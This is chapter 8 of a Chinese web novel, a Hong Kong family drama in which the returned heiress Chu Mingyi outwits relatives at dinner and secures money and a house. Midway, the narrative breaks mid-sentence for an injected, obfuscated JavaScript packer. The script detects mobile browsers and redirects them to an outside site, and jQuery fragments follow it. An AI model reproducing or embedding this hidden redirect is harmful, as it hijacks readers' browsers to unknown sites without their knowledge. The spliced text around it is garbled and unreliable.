第8章
“楚明漪——!你再给我说一遍?!”
楚嘉豪猛地站起来,右手高高扬起就要扇过来。然而楚明漪却是早有防备,抬脚就踹向他身旁的实木椅子上!
——砰!
沉重的椅子猛地侧滑,狠狠撞上楚嘉豪的膝盖。他痛呼一声踉跄后退,手肘重重磕在餐桌边缘,整套餐具顿时叮叮咣咣震响起来。
“……阿豪!在爷爷面前,注意你的教养。”
林美珍慌忙上前扶住儿子,指尖在楚嘉豪臂上轻轻一捏暗示。她眼尾余光扫过楚老爷子阴沉的面色,声音突然放软:“爸您也知道,我和阿声的婚事,当初可是您亲自点过头的,阿漪这明显是信了那些下人的闲言碎语,竟然对我这么大的敌意……”
二伯母也眉头皱了下,不轻不重地教训道:“明漪,你这样像什么样子?如今也是楚家的二小姐了,就别把以前的那些习惯带进家里,闹得多不好看。”
楚明漪哦了一声,不以为意道:“二伯母,你也知道我就是个北-姑嘛,谁让你们那么没用到现在才找到我,甚至最后还是霍家先找到的线索,你们才把我抢走……唉,我都这么可怜了,你们就让让我,忍一忍吧。”
二伯母:“……?”
还没有人这么顶撞过她,甚至让她忍一忍——
向来傲慢的贵妇人顿时一噎,不可思议地看着眼前的侄女:“你,这,这像什么样子!林美珍就是这么教你仪态的?传出去楚家颜面都要扫地!”
“也还好吧,我看令姨就很喜欢我,还夸我这是鲜活率真,让我别听你们的,我喜欢什么样就是什么样。”
楚明漪一挑眉,含笑尾音故意拖得绵软带刺:“二伯母瞧瞧人家霍家这气度,这格局,难怪能坐稳香江头把交椅呢。所以你们是不是应该反省一下,好歹思想方面学着开放点,也把祠堂里那套老黄历晒晒太阳嘛。”
二伯母:“——!”
她顿时气得不行,指着她就道:“楚明漪!我看你就是桀骜不驯——”
“够了,都给我坐回去,像什么话?”
楚老爷子银匙突然敲在骨瓷餐碟上,几人顿时像被掐住喉咙般戛然而止。虽然楚嘉豪的面上还忿忿不平,但也顺着林美珍的力度坐了回去。
“阿漪啊,二伯明白你心里不痛快,这些年也确实委屈你了。不过既然你已经回家了,该有的体面一样都不会少,过去的事就让它过去吧。”
楚耀鸿笑容不改,语气温和得仿佛刚才的冲突从未发生:“二伯跟你保证,以后像今天这种事绝对不会再发生了,嗯?”
话锋一转,他眼底泛起怀念的神色:“说来也是缘分,当年青梧与霍太一见如故,这才结下两家情谊。如今看你和霍太相处得这般融洽,倒让我想起些以前的画面……这次霍太特意邀你,叙白应该也在场?年轻人再忙都要见见未婚妻的,阿漪觉得他……怎么样?”
哈,这燕国地图未免也太短了些。
从一开始,这群人就在试探她与霍叙白的相处。楚明漪却偏要恶作剧般将话题引到江令仪身上,看着他们绞尽脑汁又不敢显得太刻意地将话题绕回来,倒也是出好戏。
楚明漪唇角忍不住翘起,脑海中闪过那张即便刻意收敛也掩不住侵略性的脸,却是直接睁眼说瞎话:“叙白?他很好啊,而且彬彬有礼得很。不仅陪霍太插花,连司康饼都记得先帮我切成适口的小块,说话也温声细语的——要不是想着还得回来,我可差点就留下用晚餐了。”
彬彬有礼……帮忙切司康饼?那是霍叙白能做出来的事??
见过霍叙白的老爷子和楚二伯面上都有些异样,不动声色地打量着楚明漪。似乎是在思索自家这丫头究竟是心思太浅,看不出来霍叙白的危险;还是根本就没见到霍叙白,只是在这故意扯大旗。
但转念想到有霍太从中牵线,霍叙白那副皮相也确实极具欺骗性,或许这只是小姑娘对未婚夫的盲目好感而已,他们又不着痕迹地收回了审视的目光。
“那就好,你们年轻人多相处是好事,否则你们这桩婚事若是没有感情基础,我们倒真无颜见青梧了。”楚二伯笑容和煦,话锋不着痕迹一转,“其实你回来前,霍太其实有特意打电话过来,问我们怎的没同你提过那些旧事。”
“阿漪你对我们有误会,二伯明白的,这也是人之常情。但我们自然是疼你的,只是从前你粤语不精,许多话……说了反倒徒增烦恼。至于那些旧事——实在是每提一次,就是在往全家的心口捅刀子啊。”
楚二伯又重新解释了一遍当初发生的事,又叹了口气:“我们得知绑匪其实是绑错人后,真是全家惊怒交加却又不敢声张,就是怕那些亡命徒狗急跳墙,做出什么我们不能接受的事来啊。”
“可谁知道我们都准备好了赎金,绑匪却再没了消息。之后我们找遍了新界每间寮屋,哪怕是你妈咪去世后,我们也一直坚持不懈地找你,不肯放弃。只是没想到你会流落到了内陆,霍家先找到你,只能说是凑巧……但阿漪啊,血脉相连的痛,楚家人又怎么会不心疼自家人?”
楚二伯的眼眶突然湿润了:“你大伯他们后来日日往码头寮屋寻,对阿声和青梧更是愧疚不已,直到两年后,他们突然得了个像你的消息,连夜赶去却……遭遇了那场车祸。这些事我们不愿意提,不是不在意,是实在……太痛了啊。”
“这些也都同霍太解释过了。阿漪,下人的错处,总不能让我们自家人离了心。”他语重心长地道,“霍太再亲厚,终究是霍家的人,你如今毕竟还没正式嫁过去,多少有些不便的。所以以后真有什么委屈,还是该找血脉相连的自家人,你说……是不是这个理?”
楚老爷子只有在提到长子车祸时脸色有些变化,对霍太的质问来电反倒不以为意。毕竟霍家越是较真,就越说明对楚明漪的看重,而这份重视迟早都会成为楚家的筹码。
可这一幕落在楚晚晴眼里,却让她忍不住咬紧了牙。
她早该料到的,绝对不能让楚明漪踏进霍家大门!
凭什么?那个目中无人的女人连最基本的体面都不顾,甚至放肆地得罪了家里的所有人。别说自己,哪怕就算是楚嘉豪敢这般放肆,早被家法抽得皮开肉绽了。
可如今就因霍太的一通电话,所有人竟都对楚明漪和颜悦色……
想到楚明漪日后真要坐上霍家少奶奶的位置,楚晚晴不得不死死咬住舌尖,才勉强压住喉间翻涌的嫉恨。
不,她决不允许,绝对不可以!!
楚明漪:“。”
她看着楚二伯情真意切的模样,不由在心里暗暗咂舌了下。终于明白林美珍那炉火纯青的演技是怎么进化来的了,敢情是得了楚家真传啊。
这一个个的影帝级别在逃演员,还叫什么豪门望族,干脆改名叫“楚氏影业”算了。
……算了,别把自己骂进去。
于是她红唇一弯:“二伯这话说的……我看情况咯,毕竟总要您几位待我够真心,我才好不去霍太跟前诉苦不是?你也知道我现在妈咪不在,爹地也不管,还有其他人虎视眈眈针对我……”
楚明漪装模作样地捂住脸颊,委委屈屈地叹气:“我这么柔弱又无依无靠的,要是连霍家都不能为我撑腰,难道真要等人把巴掌甩到脸上吗?”
……柔弱?
你指的是你那怼遍全家上下的战斗力吗??
楚二伯眼角微不可察地抽动,自然知道她这是在暗指什么。
他不动声色地点了点桌面,心里显然已经有了思量,于是余光扫过林美珍时已经换上和煦的神色:“说起来,阿豪的留学事宜都安排妥当了吗?几时的航班?”
——这是迫不及待要送人走,好向楚明漪表明楚家的态度呢。
根本还没决定现在就送儿子
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15723007|173911||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
出国的林美珍,脸色终于变了。
指甲掐进手心,尖锐的疼痛让她勉强维持住嘴角温婉的弧度:“都安排好了,阿豪下周就启程。这孩子……也一直盼着能早点去深造呢。”
“什么?可我还没——”
楚嘉豪猛地瞪大眼睛,刚张嘴想反驳,就被楚晚晴一脚踩了上来。他吃痛噤声,只能涨红着脸怒视楚明漪,拳头握紧又松开,最终无能为力地垂下。
只有楚明漪能看见的面板信息上,这位攻略对象的心动值已经无限向负数发展,惊动系统发送警报了。
表面上看,这确实是个两全其美的安排。反正楚嘉豪迟早都要出国深造,早晚又有什么分别?
可明眼人都心知肚明,主动选择出国深造,和被人像处理麻烦一样“打发”出去,终究是不一样的。只是事不关己,谁又会真的在意呢?
果然,楚二伯只是满意地点点头,又将目光转向楚明漪,想看看她的反应。
楚明漪却漫不经心地道:“唉,真是同人不同命呢,嫡亲女儿流落在外,倒是外室仔能风风光光出国镀金,若妈咪还在世,看到这样光景,怕是要心疼得紧吧?”
楚耀鸿脸上的笑容一僵,只觉脑袋都在嗡嗡的,不是说好了不再提这茬,怎么又开始了?
她是只会拿叶青梧没了的事说吗?
“算啦,正巧令姨今天刚将浅水湾的房子钥匙给我,说是我妈咪留给我的。”
楚明漪看似轻描淡写,却特意在“浅水湾”三个字上加重了音调:“明日我便搬过去,省得在这儿平白惹得某些人提心吊胆,您说是不是?”
“阿漪这话就见外了,其实家里早就已经在汇丰给你开好了信托账户,每月五万的零用钱都会按时到账。对了,我还听说你不喜欢这些衣服是不是?”
楚二伯自是闻弦歌而知雅意,轻叩桌面,突然偏头对太太道:“阿珊,一会儿你从公账上先转十万给阿漪,让她自己置办些合心意的行头。”
周慧珊不悦地用眼尾扫过来一眼,抿着唇没有说话。
假装没看见她的瞪视,继续温声对楚明漪道:“阿漪啊,知道你现在心里有气,出去散散心也好……只是有什么需要的,一定要随时同家里讲,知道了吗?”
说着他又取出支票簿,龙飞凤舞地签下数字:“这样,二伯再单独给你补贴二十万,你拿着添置些家具,总不能委屈了我们楚家的小姐嘛。”
这个时候就要夸上一句,这位笑面虎二伯果然还是会做人的,无论心里怎么想,起码面上功夫做得很是到位嘛。
眨眼间三十万到手,楚明漪果然变了脸,眉眼弯弯地惊喜道谢:“哇,真的吗?多谢二伯疼我!”
不过他们竟然这么轻易就松口放人,甚至还这么大手笔地单独给了补贴……
见在座众人对叶青梧那栋房子的事毫不意外,她顿时了然,肯定是江令仪那通电话起了作用,不由在心里暗叹一声令姨贴心。
一顿饭过后,楚明漪施施然离开,独自坐在客厅的沙发上,摸索着模拟器的各种用法。
但经过餐桌前那一幕,楚嘉豪显然已对她恨之入骨。无论如何尝试推演,模拟器最后都会卡在【楚嘉豪被送出国“深造”,而后在暗处蛰伏,伺机报复你】这同一个节点上。
真是好小心眼的一男人。
楚明漪嫌弃地摇摇头,若不是因为无论怎么推演,只要现在揭露关系,都会被那位生父接回去,甚至大概率继承家业……她怎么可能放任他出国镀金?
结果这人非但不知感恩,居然还敢记仇,硬生生把模拟功能卡死,让她玩不下去——简直歹毒!
直到夜色逐渐黑了下去,门口终于传来了佣人恭敬的问候:“三少爷,您回来了。”
“……嗯?”
尾音拖得绵长,倦懒含混的声音轻飘飘地响起:“我怎么没见过你,新面孔啊?”